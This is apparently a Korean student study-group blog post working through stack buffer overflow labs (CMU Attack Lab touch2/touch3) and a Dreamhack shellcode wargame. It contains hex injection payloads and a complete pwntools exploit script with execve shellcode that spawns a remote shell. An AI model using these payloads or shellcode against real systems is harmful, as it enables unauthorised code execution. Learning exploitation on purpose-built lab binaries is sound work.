[모각코] 2025 동계 2회차

안우진·2025년 1월 14일
0

모각코

목록 보기
8/19

이번 회차는 아래 두 가지에 대해 학습했다.

  • Stack Buffer Overflow
  • Shell Code

[Stack Buffer Overflow]

CMU Attack Lab touch2와 touch3을 성공시키는 것을 목표로 했다.

1) touch2

pwndbg> disas touch2
Dump of assembler code for function touch2:
   0x00000000004017ec <+0>:     sub    rsp,0x8
   0x00000000004017f0 <+4>:     mov    edx,edi
   0x00000000004017f2 <+6>:     mov    DWORD PTR [rip+0x202ce0],0x2        # 0x6044dc <vlevel>
   0x00000000004017fc <+16>:    cmp    edi,DWORD PTR [rip+0x202ce2]        # 0x6044e4 <cookie>
   0x0000000000401802 <+22>:    jne    0x401824 <touch2+56>
   0x0000000000401804 <+24>:    mov    esi,0x4030e8
   0x0000000000401809 <+29>:    mov    edi,0x1
   0x000000000040180e <+34>:    mov    eax,0x0
   0x0000000000401813 <+39>:    call   0x400df0 <__printf_chk@plt>
   0x0000000000401818 <+44>:    mov    edi,0x2
   0x000000000040181d <+49>:    call   0x401c8d <validate>
   0x0000000000401822 <+54>:    jmp    0x401842 <touch2+86>
   0x0000000000401824 <+56>:    mov    esi,0x403110
   0x0000000000401829 <+61>:    mov    edi,0x1
   0x000000000040182e <+66>:    mov    eax,0x0
   0x0000000000401833 <+71>:    call   0x400df0 <__printf_chk@plt>
   0x0000000000401838 <+76>:    mov    edi,0x2
   0x000000000040183d <+81>:    call   0x401d4f <fail>
   0x0000000000401842 <+86>:    mov    edi,0x0
   0x0000000000401847 <+91>:    call   0x400e40 <exit@plt>
End of assembler dump.

touch2를 성공시키려면 edi가 cookie와 같아야 한다.
cookie의 값은 0x59b997fa 이다.
getbuf SBO로 return address를 touch2로 할 뿐만 아니라 edi 값도 바꿔야 한다.

bf fa 97 b9 59 : mov  edi, 0x59b997fa
c3             : retq

와 같이 edi 값을 설정할 수 있다.
이를 실행시키기 위해서는 return address를 위 instruction이 있는 주소로 SBO를 할 필요가 있다.
gdb로 getbuf의 rsp값을 추적하여 0x5561dc78 임을 알아냈다.
또, 위 instruction을 수행하여 retq를 할 경우 rsp를 0x8만큼 증가시키기 때문에 추가로 8바이트를 사용하여 touch2의 주소인 0x4017ec 를 작성한다.
결과는 아래와 같다.

bf fa 97 b9 59 c3 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00

(2025.09.29 추가)
printf의 rsp 정렬을 SIGSEGV 문제를 피하려면 아래와 같이 해야한다.

bf fa 97 b9 59 : mov edi, 0x59b997fa
68 ec 17 40 00 : pushq 0x4017ec
c3             : ret

bf fa 97 b9 59 68 ec 17
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

2) touch3

pwndbg> disas touch3
Dump of assembler code for function touch3:
   0x00000000004018fa <+0>:     push   rbx
   0x00000000004018fb <+1>:     mov    rbx,rdi
   0x00000000004018fe <+4>:     mov    DWORD PTR [rip+0x202bd4],0x3        # 0x6044dc <vlevel>
   0x0000000000401908 <+14>:    mov    rsi,rdi
   0x000000000040190b <+17>:    mov    edi,DWORD PTR [rip+0x202bd3]        # 0x6044e4 <cookie>
   0x0000000000401911 <+23>:    call   0x40184c <hexmatch>
   0x0000000000401916 <+28>:    test   eax,eax
   0x0000000000401918 <+30>:    je     0x40193d <touch3+67>
   0x000000000040191a <+32>:    mov    rdx,rbx
   0x000000000040191d <+35>:    mov    esi,0x403138
   0x0000000000401922 <+40>:    mov    edi,0x1
   0x0000000000401927 <+45>:    mov    eax,0x0
   0x000000000040192c <+50>:    call   0x400df0 <__printf_chk@plt>
   0x0000000000401931 <+55>:    mov    edi,0x3
   0x0000000000401936 <+60>:    call   0x401c8d <validate>
   0x000000000040193b <+65>:    jmp    0x40195e <touch3+100>
   0x000000000040193d <+67>:    mov    rdx,rbx
   0x0000000000401940 <+70>:    mov    esi,0x403160
   0x0000000000401945 <+75>:    mov    edi,0x1
   0x000000000040194a <+80>:    mov    eax,0x0
   0x000000000040194f <+85>:    call   0x400df0 <__printf_chk@plt>
   0x0000000000401954 <+90>:    mov    edi,0x3
   0x0000000000401959 <+95>:    call   0x401d4f <fail>
   0x000000000040195e <+100>:   mov    edi,0x0
   0x0000000000401963 <+105>:   call   0x400e40 <exit@plt>
End of assembler dump.

hexmatch 함수는 정수와 문자열을 비교하는 함수이다.
cookie의 값인 0x59b997fa 와 내 입력인 문자열 rdi랑 비교한다.
즉, rdi를 문자열 59b997fa 로 하면 touch3을 성공시킬 수 있다.
이 문자열은 hex로 35 39 62 39 39 37 66 61 00 이다.
문자열의 끝을 명시하기 위해 0x00을 포함시킨다.
rdi의 값은 문자열의 주소이므로 적당히 rsp + 0x30 인 0x5561dca8 을 사용했다.

48 c7 c7 a8 dc 61 55 : mov 0x5561dca8, rdi
68 fa 18 40 00       : pushq 0x4018fa
c3                   : retq

touch2와 마찬가지로 하여 아래와 같은 결과가 나왔다.

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

처음에는 단순히 아래와 같이 실행하면 성공할 줄 알았으나,
할당 해제된 공간에 문자열이 있어, hexmatch 부근에서 이 공간을 재활용하기 때문에 문자열이 알수 없는 값으로 변경된다.
또, sprintf에서 어떤 검사를 하는지 SIGSEGV로 프로그램이 종료된다.
touch3를 실행하기 위해 pushq를 사용하니 정상적으로 동작한다.
rsp 관련하여 무언가 있다고 추측한다.
(rsp 주소 정렬과 관련있다고 생각하고 있다.
pushq를 사용하지 않고도 touch3 진입 전에 retq로 rsp를 0x8만큼 더해주면 정상적으로 통과될 것 같다.)

48 c7 c7 80 dc 61 55 c3
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
fa 18 40 00 00 00 00 00

[Shell Code]

SBO 으로 Shell Code를 입력할 수 있다.
scanf의 %s는 \x00 또는 \x0a 를 기준으로 입력을 받아 asm(shellcraft.sh()) 으로는 의도하지 않은 동작을 할 수 있다.

아래의 파이썬 코드는 Dreamhack 워게임 shell_basic의 exploit code이다.

from pwn import *
import pwnlib.shellcraft
context.arch = "i386"
context.log_level = 'debug'

p = remote(address, port)

msg = str(p.recvline())
buf_addr = int(msg.split("(")[1].split(")")[0], 16)

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
code = shellcode

code += b'A' * (0x80 - len(code)) # buf padding
code += b'B' * 0x4 # SFP padding
code += p32(buf_addr) # return address

p.sendline(code)
p.interactive()

위 코드를 실행하여 쉘을 획득할 수 있다.
Shell Code는 어셈블리로 syscall 등을 작성하여 기계어로 변환한 것이다.

[3회차 계획]

다음 회차에는 아래 두 가지를 목표로 할 생각이다.

  • Stack Canary
  • ROP(return-oriented programming)

0개의 댓글